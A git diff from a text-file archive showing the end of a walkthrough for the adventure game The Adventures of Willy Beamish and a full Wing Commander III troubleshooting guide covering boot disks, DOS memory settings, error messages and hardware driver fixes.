Before taking the ferry across to West Frumpton, Willy should stop at the +tree fort if he has the custom T-shirt he had made with the gang's photograph. +Giving this to Dana should ensure that she enters Gigi in the contest, and +this will make Horny much more likely to win. + + Today, the ferry rides are free, and as Willy rides across Stan Lather +pops up once again. This time he's here to interview Hans and his Amazing +Turbofrog, and Hans is quite confident that his frog is unbeatable. When the +ferry reaches the other side, Willy may go straight to the competition at the +Tootsweet Plant, or go to the Plumber's Union to pick up an important item +that will be needed near the end of the game. I went to the Union first, as +after the Frog Jump Contest time becomes a crucial factor. + + Willy should go to the window on the left side of the main door and sneak +in through the window. The moment he approaches the desk, Louis Stoole bursts +in to nab the kid. Willy should grab the security pass lying on the desk, +then throw the plunger standing next to him at Louis. With the union president +temporarily disabled, Willy dashes out the door and may now go to the contest. + + There seemed to be a small logical bug in this scene where Willy must give +his entry blank to the judge. If he does it immediately, the contest never +seems to start. Willy should wait until the judge warns him that he only has +five minutes, then give the entry blank to him. + + While he waits for the judge, he can set things up to tilt the scales in +his favor. If he's played his cards right with Dana, she should be there with +Gigi, otherwise Willy will have a slightly more difficult time in the contest. +If he has the flies in the jar, he can really fix Turbofrog by giving them to +him. The wonder frog will get drowsy and take a nap, then Willy should wait +for the judge to ask for his entry form. + + After Willy turns in his entry blank, a long sequence should begin which +leads up to the contest. The player just watches as Leona makes her speech and +Coach Beltz fires the starter pistol, then he should save the game just before +the contest action sequence. + + If Gigi is in the contest and Turbofrog is temporarily out of commission +it's pretty easy for Horny to win first place. The player should watch the +Jump-o-meter, the red bar on the left side of the screen, and click on the +jump icon at the right when the indicator is near the top. As long as Horny +wins at least second place, the game will continue. + + If Willy has the bottle of "Slam-Dunk" cola from the park vendor, he could +have given Horny a dose just before the contest. His frog would have easily +out-jumped the competition, but would quickly have been disqualified after a +test showed the cola in his system. This, I suppose, was meant to be a moral +statement to the kids about drugs and sports. + + Leona intends to have a frog leg dinner, and immediately after the contest +her security forces begin rounding up the contestants. Willy's frog escapes +and hops into the Tootsweet building, and Willy should follow him. Hopping +past security, Horny enters the elevator with Willy close behind. As he passes +by Leona's office, he hears his father talking to his new boss in her office. +He stops to listen, and discovers that Gordon is expressing his doubts about +the Tootsweet cover-up and the sludge problem. + + Willy probably is feeling pretty proud of his dad's moral stand, but an +alert security guard suddenly nabs him. Barney Fifth, the overzealous guard +who aspires to become a *real* cop, drags Willy off to his office. As he +questions the boy, he receives a call from Leona who is ordering that the +frogs all be rounded up and brought to Humpford mansion. Willy spots Horny on +the security monitor just as the champ is captured, and he tries to get Barney +to let him go. No chance of that happening, however, as the guard prepares to +call the Frumpton police. + + The player should have the Nintari key from his sister, and this is the +real purpose for it. Willy should combine it with his "G.I. Jim" dogtag chain, +then use his newly created hypnotic charm on Barney. Now, a list of phrases +comes on the screen, and the player should look in Willy's notebook (which was +part of the very sparse game documentation) for the ad he clipped out and find +the proper one mentioned there. Choosing the correct phrase will zap Barney +into a temporary trance, and Willy can make good his escape. + + No time to lose now! Horny has been taken to Humpford mansion for Leona's +dinner, and Willy must get there quickly to save him. On the way out of the +Tootsweet building, Willy once again encounters Stan Lather, who congratulates +him on his first (or second) place win and tries to give him his $25,000 (or +$2,500) check. So now Willy can go to the Nintari championships, but he's more +concerned with finding his frog at the moment. As part of his prize package +Willy received a Yamasaki Jet-Ski scooter (along with a year's supply of Diet +Slam-Dunk cola and a T-shirt!), and now he can cross the sludged Dumpling +River to Leona's mansion. + + HUMPFORD MANSION - DAY FOUR (MONDAY AFTERNOON) + + Willy's new scooter is parked at the end of the ferry dock on the Dumpling +river, and he can use it now to get to Leona's mansion to rescue Horny. It is +also equipped with an AM/FM radio/cassette recorder which is essential a bit +later in the game. Right now, Willy should click on the East Frumpton exit, +then Humpford Mansion. If he detoured home, he would find that the family is +preparing the surprise party for Gordon's 40th birthday. If Willy doesn't get +moving, however, Dad won't make it home at all... + + After he rides to Leona's mansion, Willy sneaks past her chauffeur and +general purpose body-busting thug, Stanley. Inside, Willy meets her pet parrot +Arthur. Arthur was left to Leona's tender mercies when her husband Harry died, +and the mistreated creature longs for someone to talk to. Actually, this is +just the writer's ingenious device to get the player to listen to the whole +plot, but if Willy doesn't hear Arthur's story the bird will alert Leona and +Louis. Willy must talk to the bird and get the entire story, not making any +wisecracks along the way. + + Harry Humpford, the inventor of Tootsweet, died and left the factory to +Leona. Leona's ambition is to own all of West Frumpton and turn it into a +sleazy tourist attraction called (what else?) Frumpton World. Harry's will +has a clause that states if the Tootsweet operation stops, Leona will inherit +the Sludgeworks and all of the West Frumpton real estate. That's where Louis +Stoole comes in - with his plumbers on strike, the sludge stops flowing, the +Sludgeworks shuts down, and no more Tootsweet is manufactured. Oh, isn't that +just such a devious plot? + + Ok, now that's very interesting, but the top priority for Willy is to +rescue Horny. There's a suit of armor in the hallway, but if Willy disturbs +it now it will make a horrid clatter as it falls. He should sneak into the +dining room, where he can see Leona and Louis playing horsy in the living +room. Taking a closer look with the Look icon, he hears Stan Lather (that guy +shows up all over this game!) doing a special report. Gordon comes clean, +exposing the dirty plan, or as much as he knows of it, then announces his +resignation. Way to go, Dad! Now back to the rescue... + + Willy needs to pull the old "jerk the tablecloth off the table" trick +without making a noise. There are two objects on the table that he can take, +a bronze chalice and a dish cover. He can't take both without disturbing the +villains' play, but he must take one so his tablecloth trick will work. Willie +should take the chalice and put it in his backpack, then take the tablecloth +and do the same. Voila! It worked! (I could never do it, myself). + + Now, he should sneak off screen to the left and use the tablecloth on the +floor next to the suit of armor. Then pull the object sticking out of the tin +suit, causing the entire thing to fall quietly on the floor. He takes the +helmet, and should discover something else in the suit. This is the plan for +the Air Tram inside the Sludgeworks, which also has the code to activate a +drawbridge control that Willy will use to elude the security guards. + + Willy now should reenter the dining room and exit to the right, where he +witnesses a ghastly sight. Cook Julia Childish is honing her knives here to +prepare the dinner, and the captured frogs are hanging from the carousel! The +first thing Willy should do is distract the cook by taking the bronze chalice +and throwing it at the lower right corner of the screen. Next, he should sneak +around behind the counter, take the pan of grease and pour it on the right +side of the cook pot. This will allow him to push the pot right behind Julia, +which sets up a trap for her to fall into. + + Quickly, he returns to the kitchen entrance then clicks on the carousel, +which causes him to jump onto it. He is carried quickly around where he jumps +off in front of the cook, startling her and causing her to fall backwards into +the pot. Now, he should take the helmet and put it over Julia's head to stifle +her screams, then push the right button on the carousel control box, which +will release all the poor frogs. + + Horny jumps into Willy's backpack, and now he can make his escape. Well, +almost... Leona and Louis grab him as he leaves the kitchen, and he is put +into a chest, hands and feet bound. Things look grim for him as the chest is +thrown to the bottom of the Humpford pool, and Willy floats out, silent +witness to the villains discussing their next move. Leona sends Stanley to +pick up Gordon, who must be silenced "permanently" before Leona's plans are +ruined. How is Willy going rescue Dad, when he's turning blue himself? + + In timely fashion, Horny, Gigi, and Turbofrog appear on the scene and pull +the plug on the pool, showing their gratitude for Willy's daring rescue. As +Leona watches, they all swim out through the drain and surface in the murky +Dumpling River. Now, the scene shifts to Gordon, who gets into the limo driven +by Stanley. From this point on, Willy has a limited time to find and rescue +his Dad before he gets sludged. + + GOLDEN BOWL TAVERN, HUMPFORD SLUDGEWORKS - DAY FOUR (ENDGAME) + + With Horny safe again, Willy must find a way to stop Leona Humpford's +diabolical scheme - to sludge Gordon, shut down the Tootsweet Plant and level +West Frumpton to build Humpford World. Where is Gordon? Well, most likely +he's somewhere in the Humpford Sludgeworks, but Willy can't get past Louis's +striking plumbers yet. + + After escaping Humpford's Mansion, Willie is on his new Jet-Ski on the +Dumpling River. He should head back to West Frumpton, then use the Look icon +to examine his new toy. He'll see the new AM/FM radio/cassette player, and +this is the key to getting past Ray at the Golden Bowl Tavern. Click on it and +put it in Willy's inventory. If he hasn't done so already, he should go to the +T-shirt booth in Olde Towne and examine the Lottery machine next to it to get +the Frumpton Bucks Lottery ticket that he finds in the slot. + + Next, Willy should go to the Plumber's Union 409 where he'll need to use +the phone that was out of order on Sunday. While here he should also get the +security pass out of Louis Stoole's office if he hasn't already (refer back to +the first part of the TOOTSWEET FROG JUMP CONTEST). Inside the booth, he can +take the radio out of his backpack and set it on the phone. After he takes the +telephone receiver and sets it on the radio, he should press the record button +then dial 432-SIGN (432-7446) to record Alyssa's Astrological Hotline. + + If the player looked at Ray on Sunday when he went to West Frumpton, the +description noted the bouncer's obsession with astrology. Willy hits the +record button again to stop the tape, then calls the Golden Bowl (342-3403). +Burt will answer, but Willy will convince him to bring Ray to the phone. Now +Willy hits the playback button, and the big guy is hooked. Before the tape +runs out, Willy should go to the bar and enter. + + Ray should still be on the phone, having a conversation with a taped +astrologer (go figure!), while the rest of the plumbers in the bar eagerly +await the winning numbers to be drawn for the 40 million dollar Frumpton Bucks +lottery. Burt forgot to buy a ticket, and is in a rather bad mood. If Willy +wants to stay here, he should give the ticket he found in Olde Towne to the +bartender to get on his good side. + + Burt gives him a complimentary free non-alcoholic drink in gratitude, and +allows Willy to stay for the big televised drawing. As could only happen in +a fictional game, Burt wins the jackpot and Willy is temporarily forgotten in +the ensuing mayhem. Ghost Beamish makes another appearance, urging Willy to +DO something! He should grab the Plumber's nudie pin-up calendar from the bar +before the dust settles and the police show. + + Now, this is the ticket to get past the striking plumbers at the gates to +the Sludgeworks. Willy should approach them and give them the calendar, and +they will quickly be too bust ogling Miss October to notice him. Next, Willy +should try to enter the Sludgeworks, and he will be stopped by the security +guard at the gate. Using the security pass will allow him to pass, but the +guard will call Ms. Humpford to tell her of the intrusion. She immediately has +him sound the alarm, and sends her goon Stanley to the site to capture Willy. + + The player should now save the game, as the upcoming endgame contains a +series of action sequences that can be very difficult. Willy should look at +the plan he found in the suit of armor from Humpford mansion and note the four +colors written at the side. They should read - Burnt Sienna, Mauve, +Chartreuse, Mauve. In simpler English this is Brown, Violet, Green, Violet. + + As soon as Willy enters the first room, he should go _immediately_ to the +control panel in the center while the security guards tell their joke. Open +the cover to reveal the power switch and turn it on. Then the player should +click the colored buttons to the right - Bottom, Top, Middle, Top. If the +sequence was entered properly, the light above the control lever should turn +green. The security guards should be on the extended bridge, almost to the +platform where Willy is. He should have barely enough time to push the lever +to the right, which retracts the bridge and dumps the guards into the sludge. + + There's no time to admire the results, Willy should head across the bridge +to the exit on the right side of the screen. As he reaches the exit, Stanley +enters from the opposite side, and Willy will enter another action sequence. +This time it's a disposal unit of some sort, and Willy should head for the +control panel at the left side of the screen. + + A keyboard and a switch should appear, and the player should turn the +switch on. No time to look at the plans now, but five codes may be entered on +the keyboard: + + FART - Obvious, isn't it? + FARM - This will send Willy through the plant to be turned into a 50 lb. + sack of Tootsweet, ending the game. + AIR - This should be used if the security guards get too close. It will + blow them down a tube, but they'll return pretty quickly! + RAFT - This code sends Willy down a chute that exits into the river + outside the plant, then he must reenter the Sludgeworks and start + all over again. + TRAM - This is what the player should key in (remember the "Enter") + + Entering TRAM sends Willy down a tube which deposits him on a conveyor +belt. He runs in place, staying in position, until Stanley appears once again. +The goon throws his hat at Willy, who must avoid it by clicking on a spot near +the middle of the belt (an arrow will appear at the right spot). The hat lands +at the end of the belt, after rupturing a steam pipe above. Willy retrieves +the hat, changes the cursor to cross-hairs then flings it back at his pursuer. + + Stanley is knocked out cold, and travels down the conveyor belt where the +player sees him recycled into a 300 lb. sack of Tootsweet. Now a plunger will +rise to Willy's right, which he should jump onto, and from there he jumps into +the Sludgeworks Tub Tray Tram. + + If the player has survived these sequences, the Tram should take him to +Grand Junction, and now he should save the game again. The control in front +of Willy will determine which way the Tram turns at each junction, and once +again he should consult the plans. The proper way to navigate the tunnels in +order to reach the giant toilet is: Straight to Conjunction Junction, right to +Compunction Junction, left to Malfunction Junction, straight to Petticoat +Junction, then left to the final showdown. Wrong turns can take Willy to some +funny places, the player may want to try it and see. + + The Tram comes to a stop by the sludge vat (shaped amazingly like a +gigantic toilet) where Willy sees his Dad suspended over the bowl on a long +rope. Leona and Louis stand nearby, watching as Gordon is slowly lowered into +the sludge. If Willy fails to stop the two, Dad will be sludged as well as +Frumpton, although the player may want to let this part play out just to watch +the touching father and son farewell scene at the end. + + Grandpa Beamish appears again to inform Willy of the obvious - his Dad +will be history if he doesn't act quickly! This is where the Dunkin' Promaster +Elite Model 42 yo-yo is finally used. As soon as the dialogue finishes and the +player regains control of the cursor, click on the yo-yo in Willy's inventory, +use it on him, then switch to the cross-hair cursor. Leona and Louis will +begin walking around the rim of the vat towards Willy, pausing to laugh at the +boy for a few seconds. Target the cursor on them now, and let the yo-yo fly! + + The duo are knocked into the vat of sludge, and now Willy must jump over +to the handle to flush them out. The player sees a final appeal from Leona for +someone to save her, then the vat empties. The remainder of the game consists +of a non interactive sequence, as the Dumpling River clears and everyone gives +Willy well-deserved congratulations. He continues on to win the Nintari +Championship, and the game closes with a scene of Horny, Gigi and their new +family of little frogs. I suppose someone will continue to keep Frumpton slim +and trim by turning sludge into Tootsweet, but that's another story. + + THE ADVENTURES OF WILLY BEAMISH is published by Dynamix, Inc. and distributed +by Sierra On-Line, Inc. Fixed by [RYGAR] + + This walkthru is NO-copyright (NC) 1991 by Venger. All rights reversed. + diff --git a/textfiles.com/games/wc3-help.txt b/textfiles.com/games/wc3-help.txt new file mode 100644 index 00000000..99e306d9 --- /dev/null +++ b/textfiles.com/games/wc3-help.txt @@ -0,0 +1,939 @@ + Most Common Problems + Wing Commander III : Heart of the Tiger + + Version 2.0 + 2-1-95 + + Written, compiled and updated by : + + Anthony L. Sommers + Assistant Project Leader + Wing Commander III QA Team + +---------------------------------------------------------------------- + +This has been provided as a supplement to the Wing Commander III +documentation. It details a number of the most common questions +asked and their solutions. + +It is recommended that the Playguide, Install/Troubleshooting Guide AND +the README.TXT file on the CD are also read in addition to this file. + +This file will be updated continuously and can be found on our BBS +(512-331-8559) or on the Internet (ftp.ea.com /pub/patches/wc3help.txt). + +---------------------------------------------------------------------- + +[INDEX] + +0.0 Making a BOOT DISK for Wing Commander III + +1.0 Movies pausing (starting and stopping) + +2.0 Long load times + +3.0 The "DOTS" + 3.1 You see "Loading Wing Commander III ......." and it returns + you immediately back to the CD-ROM drive prompt + 3.2 Lockups at the fourth or sixth dot + +4.0 Error messages + 4.1 This error may be the result of a bad CD-ROM read... + 4.2 A processor exception has occured. + Your system may be unstable at this point. + 4.3 Critical error on file : ..\..\data\movies\origin_s.mve or + Critical error on file : ..\..\data\movies\opening.mve + 4.4 Exception 13 happened :) + 4.5 CVMManager::getPtr () failed + 4.6 Write failed on file : SWAPFILE.$$$ + 4.7 Malloc () failed + 4.8 Non system disk or disk error + Replace and strike a key when ready + 4.9 Invalid drive specification + +5.0 Lockups + 5.1 Lockups after the fourth or sixth dot + 5.2 Lockups During opening movie, [ESC] takes you further into + the game + 5.3 Lockup at the joystick calibration screen + +6.0 Reboots + +7.0 Gameplay + 7.1 Movies are of "poor quality" + 7.2 No descriptions of possible actions (Attend Briefing, etc.) + 7.3 TAB and ~ (afterburners) do not work in spaceflight + 7.4 Installation program rates machine slower than normal + 7.5 Crackling sounds in SVGA + 7.5.1 Cirrus Logic GD-542x + 7.5.2 Orchid Kelvin 64 + +8.0 Specific Hardware + 8.1 Control (keyboard, mouse, joystick) + 8.1.1 Flightstick Pro support + 8.1.2 Thrustmaster and Logitech Wingman support + 8.1.3 WING3.ADV compiler errors + 8.1.4 Programmable keyboards + 8.2 Video cards + 8.2.1 Diamond Viper VLB + 8.2.2 Matrox PCI + 8.2.3 Hercules Graphite + 8.2.4 Compaq QVision + 8.3 Sound cards + 8.3.1 Mozart by Oak Technologies + 8.3.2 Media Chips MAD 16 + 8.3.3 Media Magic 16 (ISP16 and MAGICS20) + 8.4 Miscellaneous (CPUs, hard drives, SCSI host adapters, etc.) + 8.4.1 Cyrix 486 processors + 8.4.2 AMD processors + +9.0 Patches + 9.1 WC3JOY.DLL, the joystick patch + +10.0 Problem CD-ROM drivers and their updates + +11.0 Acknowledgements + +---------------------------------------------------------------------- + +[0.0] Making a BOOT DISK for Wing Commander III + +Almost all problems can be solved by making a boot disk for Wing +Commander III. Regardless of the total amount of RAM and/or conventional +memory, processor speed/power, etc., the boot disk will set up your +computer specifically to run Wing Commander III. Expanded Memory +Managers (EMM386, QEMM386, 386MAX, NETROOM, etc.) are not needed and if +configured incorrectly, will often conflict with our own protected mode +memory manager. + +To make a boot disk for Wing Commander III, please use the following +instructions : + +1) Place a blank disk in drive A: + +2) Type C: and press [ENTER] + +3) Type FORMAT A: /S and press [ENTER] + +4) Type A: and press [ENTER] + +5) Type COPY C:\CONFIG.SYS and press [ENTER] + +6) Type COPY C:\AUTOEXEC.BAT and press [ENTER] + +7) Type EDIT A:\CONFIG.SYS and press [ENTER] + +8) Different computers have different sound cards, CD-ROM drives, etc. + Therefore, after the first 5 initial lines, we cannot list out the + exact lines needed. However, the original lines from your hard disk + CONFIG.SYS will be there, and you can try to make sure lines of the + CONFIG.SYS on the boot disk read somewhat like the following : + + DEVICE=C:\DOS\HIMEM.SYS + DOS=LOW + FILES=25 + BUFFERS=99 + SHELL=C:\DOS\COMMAND.COM C:\DOS\ /P + DEVICE=C:\\ + DEVICE=C:\\ + DEVICE=C:\\ + + Lines to make sure you want to remove from the CONFIG.SYS of the + boot disk : + + DEVICE=C:\DOS\EMM386.EXE ... + DEVICE=C:\WINDOWS\IFSHLP.SYS + DEVICE=C:\DOS\SMARTDRV.EXE ... + +9) After you are finished with the CONFIG.SYS, press [ALT-F], then [X], + then [Y]. You should return to the A: prompt. + +10) Type EDIT A:\AUTOEXEC.BAT and press [ENTER] + +11) Similiar to CONFIG.SYS, since different computers have different + sound cards, CD-ROM drives, etc., we cannot list out the exact lines + needed for the AUTOEXEC.BAT file. However, the original lines from + your hard disk AUTOEXEC.BAT will be there, and you can try to make + sure lines of the AUTOEXEC.BAT on the boot disk read somewhat like + the following : + + @ECHO OFF + PROMPT $p$g + PATH C:\DOS + C:\\MSCDEX.EXE ... + + + + Lines to make sure you want to remove from the AUTOEXEC.BAT of the + boot disk : + + C:\DOS\SHARE.EXE ... + C:\DOS\SMARTDRV.EXE ... + +12) After you are finished with the CONFIG.SYS, press [ALT-F], then [X], + then [Y]. You should return to the A: prompt. + +13) Reboot your computer with the new boot disk. You may now try to + install/run the game! + +---------------------------------------------------------------------- + +[1.0] Movies pausing (starting and stopping) + +The movies pause because data cannot be transferred from the CD-ROM +drive to our game at a sustained rate. The following may be attempted to +help alleviate movie pausing : + +1) Play the movies in VGA. There is roughly 4 times as much data in + SVGA to display to the screen than in VGA. Run the installation with + WC3 -I and make sure Movie Video Mode is VGA. You may also go to + the Main Terminal, under Controls/Graphics Modes/Movies and click on + the box next to VGA. + +2) Make sure your CD-ROM driver is up to date. You will need to contact + your CD-ROM drive manufacturer to see if you have the latest + version. You can check the list of problem CD-ROM drivers at the end + of this file to see if your driver needs to be updated. + +3) We test the speed of your machine and rate it according to the time + it takes for certain actions to be completed (see README.TXT for + more information). The benchmarks for your system are accurate. You + must make sure you rate at least : + + 0-25 for CPU Speed. Lower score = Faster processor + 0-12 for Video Card Speed. Lower score = Faster video card + 300+ for CD-ROM drive transfer rate. Higher rate = Faster CD-ROM + + If you do not meet any of the above requirements, you probably will + experience movie pausing, even in VGA. + + NOTE : If the installation program specifically detects that a + particular component is too slow, you will see a message that will + let you know. There may not be anything that can be done about the + movie pausing if you encounter one of these messages. + +---------------------------------------------------------------------- + +[2.0] Long load times + +If you are experiencing long load times (in excess of approximately 2 +minutes), the following are suggested to help make the transition from +gameflow to spaceflight a little shorter : + +1) Check to see if you are using disk compression. If so, there may not + be anything else that can be done. (Of course, suggestions 2-6 may + be attempted, but may have no effect...) + +2) The disk utilities listed below (with the exception of SCANDISK) are + shipped with DOS 6.0 and above (SCANDISK is shipped with DOS 6.2 and + above). Consult your DOS manual for more in-depth instructions on + how to use them. + + It is recommended that before you play, you do the following for + drive C: and the savegame drive (if it differs from drive C:) : + + CHKDSK C: + + or better, + + SCANDISK C: + + CHKDSK and SCANDISK check and repair hard disk file damage. If any + damage is found, you will want to remove the C:\WC3 directory and + the savegame directory (if it is different) with : + + DEL C:\WC3 + RD C:\WC3 + + and repair any damage found according to the instructions in your + DOS manual. + +2) Severely fragmented hard drives are a top cause of long load times. + You will then need to run a defragmentation utility doing a "full + optimize" for the savegame drive. For example : + + DEFRAG C: /F + +4) If enough disk space is available, try copying all 42 MB to the HD. + Try lower settings if less disk space is available. + +5) In the CONFIG.SYS of your boot disk, use BUFFERS=99. Each buffer + uses 532 bytes of conventional memory, so this will use + approximately 50K. + +6) If you have enough memory, you may try to squeeze in a 100K + SMARTDrive cache. After SMARTDRV.EXE, specify the savegame drive + letter. It is DEFINITELY NOT HELPFUL to have an amount lower than + 100K, this will increase load times. For example : + + C:\DOS\SMARTDRV.EXE C 100 + +*7) More RAM will definitely shorten load times. + +---------------------------------------------------------------------- +[3.0] The "DOTS" + +The "dots" signify the progress of the initialization phases of the +game. Here are some things to check : + +1) Set up a BOOT DISK! :) + +2) Make sure your VESA driver is current and up to date. Try "UNIVBE", + or playing in VGA with "WC3 -V". + +3) Make sure you have a 100% compatible mouse driver. Attempt to REM + out your mouse line and see if the problems persist. + +4) You have a clean hard disk with at least 25MB of free space (50MB + if you are using disk compression). + +5) Check sound card settings and compatibility. Try disabling your + sound card to see if that allows you to get into the game. + +6) Make sure your CPU is 100% Intel compatible. + +[3.1] You see "Loading Wing Commander III ......." and it returns + you immediately back to the CD-ROM drive prompt + +Edit the AUTOEXEC.BAT file of your boot disk and type REM at the +beginning of your mouse driver line. You are not using a 100% compatible +mouse driver. Please refer to the Install Guide for more information in +obtaining a 100% compatible mouse driver. + +[3.2] Lockups at the fourth or sixth dot + +Run the installation program with WC3 -I and select NONE for "Setup +Music Card" and "Setup Digital FX Card". If you can now get into the +game, either your sound card is not set up correctly or your sound card +is not 100% compatible with the selection you are trying to choose. +Please verify your sound card settings and try again. + +We do know of a few problem sound cards that may lockup. (See section +8.3 below.) +---------------------------------------------------------------------- + +[4.0] Error messages + +[4.1] This error may be the result of a bad CD-ROM read... + +Don't panic, you don't necessarily have a bad CD. Simply make sure +you're using a boot disk, and try again. If you cannot solve the problem +with a boot disk, see if your error message ABOVE the "This error..." is +listed anywhere in the Install/Troubleshooting guide, the README.TXT +file, or this help file. You may want to try exchanging the CDs at the +place of purchase to see if a new CD actually solves your problem. + +[4.2] A processor exception has occured. + Your system may be unstable at this point. + +1) Make sure the line DEVICE=C:\DOS\HIMEM.SYS is in your CONFIG.SYS. + +2) If you have the following : + + Hardware : Mitsumi CD-ROM model FX001/FX001D + CONFIG.SYS : DEVICE=C:\\MTMCDAE.SYS /D:MSCD001 + + HOW to solve : + Use the MTMCDAS.SYS driver found in the same directory. If + this driver is not in the directory, look on the disks that came + with the CD-ROM. + + DEVICE=C:\\MTMCDAS.SYS /D:MSCD001 + + As an alternate solution, you may try /T:S on the MTMCDAE.SYS + line. Use this if the customer does not have MTMCDAS.SYS on + his/her hard drive. + + DEVICE=C:\\MTMCDAE.SYS /D:MSCD001 /T:S + + Mitsumi BBS 408-970-0761 + Sales 516-752-7730 + Tech Support 408-970-9699/9730 + +3) Make sure you're using a 100% Intel compatible processor. Other + processors may not be compatible with our game. + +[4.3] Critical error on file : ..\..\data\movies\origin_s.mve or + Critical error on file : ..\..\data\movies\opening.mve + after several seconds of viewing the introduction. + +1) If you have the following : + + Hardware : Phillips LMS 206 CD-ROM drive + CONFIG.SYS : DEVICE=C:\\DD260.SYS /D:MVCD001 ... + + How to solve : + Try adding the "/F:5" parameter to the end of the line. You may + alternately try "/F:1". This will attempt to clear a conflict + between the CD-ROM interface and the soundcard. + + DEVICE=C:\\DD260.SYS /D:MVCD001 /F:5 ... + +2) If you have the following : + + Hardware : Mitsumi 4x IDE CD-ROM drive and an enhanced IDE hard + drive + CONFIG.SYS : DEVICE=C:\MTM\MTMCDAI.SYS /D:MTMIDE01 /P:170,15 + + How to solve : + There seems to be an incompatibility with our game, certain + motherboards and this setup. We are currently researching this. + There is no solution at this time. + +3) You may want to verify that you have the latest CD-ROM driver for + your CD-ROM drive. See section 1.0 for more information. + +[4.4] Exception 13 happened :) + +Make a boot disk and retry. Also please review section 6.0 which +discusses reboots. The same possible solutions apply to the Exception 13 +error messages. + +[4.5] CVMManager::GetPtr () Requested: 397984, Available: 379932 + + Hardware : Generally 8 MB machines + CONFIG.SYS : DEVICE=C:\DOS\EMM386.EXE 7168 RAM + DEVICE=C:\ /M: + AUTOEXEC.BAT : C:\DOS\SMARTDRV.EXE + C:\DOS\MSCDEX.EXE /E /M: + + Why this occurs : + You will find this error code on mission J003 on disc 3. + Basically, you have just barely enough extended memory to run + the game, but not enough to load the mission data. + + HOW to solve : + You will have to load all drivers possible into conventional, and + try not to use as little extended memory as possible. + + 1) REM out EMM386.EXE and DOS=UMB. This will load all drivers + into conventional memory, freeing upper memory. + + 2) On the CD-ROM driver line in the CONFIG.SYS, remove the switch + or lower the amount of CD-ROM buffers allocated (if this is + what the /M switch for that particular driver does). + + 3) REM out SMARTDRV.EXE from the AUTOEXEC.BAT file. + + 4) Remove the /E switch from the MSCDEX.EXE line and lower the + buffers from the number specified after the /M: to 5. + + 5) Use DOS=LOW in the CONFIG.SYS of your boot disk. + + 6) 99.9% of the time, 1-5 work just fine. If 1-5 have no effect, + as a last resort, re-run the installation program and disable + sound for that particular mission. + +[4.6] Write failed on file : SWAPFILE.$$$ + + Hardware : Badly fragmented hard drives + + Things to try : + + 1) Make sure you have enough free space on the drive you're trying + to run the game on. You should have at least 25 MB of + uncompressed space. If the hard drive is compressed, the size + should move up to 50 MB. + + 2) Make sure there are NO lost allocation units, cross- + linked/truncated files, bad sectors, etc. Use SCANDISK or CHKDSK + to check for the presence of file damage and repair accordingly. + + 3) DEFRAG completely with "DEFRAG C: /F" + + For a more detailed explanation of using CHKDSK, SCANDISK and + DEFRAG, refer to section 2.0, "Long load times," or your DOS manual. + +[4.7] Malloc () failed + +This error may occur if you MANUALLY flew toward the way point. ALL (not +most, not some, ALL) nav points should allow you to auto-pilot to the +next nav allowing you to complete the nav area task. This may involve +killing fighters, linking with transports, mining jump buoys, etc. For +example : + + If the you must escort transports, the you MUST auto-pilot link with + the transport by flying within 500 units of the transport to + establish the link. The auto-pilot light will then light up, and + auto-piloting is possible. PRESS "A" to autopilot to the next nav- + point. + +[4.8] Non system disk or disk error + Replace and strike a key when ready + +This is a DOS error which means that the boot disk that you created for +the game does not have the DOS system files on it. You will need to : + +1) Restart your computer with the boot disk out of the A: drive. Go to + the DOS prompt (exit Windows). + +2) Type C: and press [ENTER] + +3) Place the boot disk in drive A: + +4) Type SYS A: and press [ENTER] + +5) Reboot your computer with the disk in the drive after the SYSTEM + TRANSFERRED message. + +[4.9] Invalid drive specification + +Your CD-ROM drive has not loaded properly or the drive letter has +changed. When MSCDEX loads, it will tell you the drive letter of your +CD-ROM drive : + + DRIVE D:= MSCD001 + +---------------------------------------------------------------------- + +[5.0] Lockups + +Make a boot disk and retry. + +[5.1] Lockups after the fourth or sixth dot + +See section 3.2. + +[5.2] Lockups During opening movie, [ESC] takes you further into + the game + +You have chosen the incorrect sound card settings or have an IRQ or DMA +conflict with your sound card and another device in your system. Verify +your sound card settings are "conflict free" and re-run the installation +program. + +See the Install Guide for more information. + +If you have an SB16 and you are sure your sound card settings are +correct , but you may want to try to +set the low and high DMA to the same channel in the boot disk's +AUTOEXEC.BAT : + + SET BLASTER=A220 I5 D1 H5 P330 T6 + SET SOUND=C:\SB16 + C:\SB16\SBCONFIG /S or C:\SB16\DIAGNOSE /S + +SBCONFIG and DIAGNOSE will dynamically set the IRQ and DMA of your +sound card according to the settings in the SET BLASTER line. Refer to +your SB16 User's Guide for more information. + +[5.3] Lockup at the joystick calibration screen + +We are unsure why this happens, but with a bit of troubleshooting, we +should be able to find the cause : + +1) Make sure you have only one joystick port active. If you do not, you + may have a joystick port conflict. Resolve and retry. + +2) Remove the joystick completely, and see if you can get into the + game's installation program. Plug in the joystick after the game has + been installed and calibrate from within the game. + +3) Try another joystick. + +4) If you have more than one joystick port, disable the current + joystick port and the second joystick port and retry. + +5) Try the Wing Commander III Joystick Patch (section 9.1). + +6) Disable all open joystick ports and try using a speed adjustable + gamecard. + +---------------------------------------------------------------------- + +[6.0] Reboots + +Reboots normally occur when going after Flint, during Behemoth mission, +planet ascension, switching CDs, or (R)eplaying a mission after you have +died or ejected. + +The most common cause of a reboot is a video card with the S3 chipset. +There is a problem reinitializing the video mode when going from mission +to mission or from mission to movie to mission (as opposed to from +mission to gameflow to mission). + +The video cards reboot if in SVGA when this occurs. We are currently +researching this, but a solution at this time is to go into installation +program with WC3 -I and set the Spaceflight Video Mode to VGA. If you +want to play in SVGA that is fine, but you must manually switch to SVGA +with ALT-3 or ALT-4. The mission MUST LOAD UP in VGA. + +Some other possibilities : + +1) If you have the following : + + Hardware : BUSLogic 542S SCSI Host Adapter + + HOW to solve : + You will need to use EMM386.EXE and possibly exclude DC00-DFFF. + The address range is used by the host adapter and may conflict + with Wing III. You must consult your documentation for specific + information on which range to exclude. For example : + + DEVICE=C:\DOS\EMM386.EXE RAM X=DC00-DFFF + + BusLogic BBS 408-492-1984 + Tech Support FAX 408-492-1542 + Tech Support 408-492-9090 + Tech Support 408-988-7338 + +2) If you have the following : + + Hardware : PAS 16 and a SCSI CD-ROM Drive connected to the PAS 16 + CONFIG.SYS : DEVICE=C:\\TSLCDR.SYS /D:MVCD001 /R + + HOW to solve : + You will need to download 316.EXE or 318S-MV.EXE from the + MediaVision BBS to upgrade TSLCDR.SYS to version 3.16 or 3.18. + 316.EXE should be sufficient. 318S-MV.EXE is only needed if you + have a Sony 55S or a Sanyo 94S CD-ROM drive. + + 316.EXE contains : + + MSCDEX EXE 25,377 02-12-93 6:00a + README DOC 1,344 10-04-93 4:04p 